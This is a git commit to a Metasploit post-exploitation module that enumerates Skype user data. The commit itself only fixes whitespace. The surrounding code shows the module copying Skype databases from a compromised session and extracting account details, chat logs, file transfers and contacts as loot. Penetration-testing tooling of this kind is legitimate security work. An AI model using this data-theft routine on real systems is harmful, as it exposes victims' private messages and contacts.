Make msftidy happy

unstable
sinn3r 2012-06-11 01:34:18 -05:00
parent 2847ed9c43
commit d226d80919
1 changed files with 13 additions and 13 deletions

View File

@ -6,7 +6,7 @@
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# http://metasploit.com/framework/
##
require 'msf/core'
@ -26,11 +26,11 @@ class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::OSX::System
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Gather Skype User Data Enumeration',
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Post
def run
# syinfo is only on meterpreter sessions
print_status("Running module for Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil?
# Ensure that SQLite3 gem is installed
begin
require 'sqlite3'
@ -63,7 +63,7 @@ class Metasploit3 < Msf::Post
print_error("Failed to load sqlite3, try 'gem install sqlite3'")
return
end
if (session.platform =~ /java/) || (session.platform =~ /osx/)
# Make sure a Java Meterpreter on anything but OSX will exit
if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/
@ -91,7 +91,7 @@ class Metasploit3 < Msf::Post
else
print_error("This session type and platform are not supported.")
end
end
# Check if Skype is installed. Returns true or false.
@ -125,7 +125,7 @@ class Metasploit3 < Msf::Post
else
file = cmd_exec("mdfind","-onlyin #{profile['dir']} -name main.db").split("\n").collect {|p| if p =~ /Skype\/\w*\/main.db$/; p; end }.compact
end
file_loc = store_loot("skype.config",
"binary/db",
session,
@ -191,7 +191,7 @@ class Metasploit3 < Msf::Post
# Check if an account exists and if it does enumerate if not exit.
if user_rows.length > 1
user_info = store_loot("skype.accounts",
"text/plain",
"text/plain",
session,
"",
"skype_accounts.csv",
@ -203,14 +203,14 @@ class Metasploit3 < Msf::Post
print_error("No skype accounts are configured for #{user}")
return
end
# Extract chat log from the database
print_status("Extracting chat message log")
cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
datetime("timestamp","unixepoch"), "body_xml",
"remote_id" FROM "Messages" WHERE type == 61;')
chat_log = store_loot("skype.chat",
"text/plain",
"text/plain",
session,
"",
"skype_chatlog.csv",
@ -226,7 +226,7 @@ class Metasploit3 < Msf::Post
# Extract file transfer history
print_status("Extracting file transfer history")
ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
"filepath", "filename", "filesize", "bytestransferred",
"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')
@ -315,4 +315,4 @@ class Metasploit3 < Msf::Post
save_csv(ct_rows, contact_log)
end
end
end
end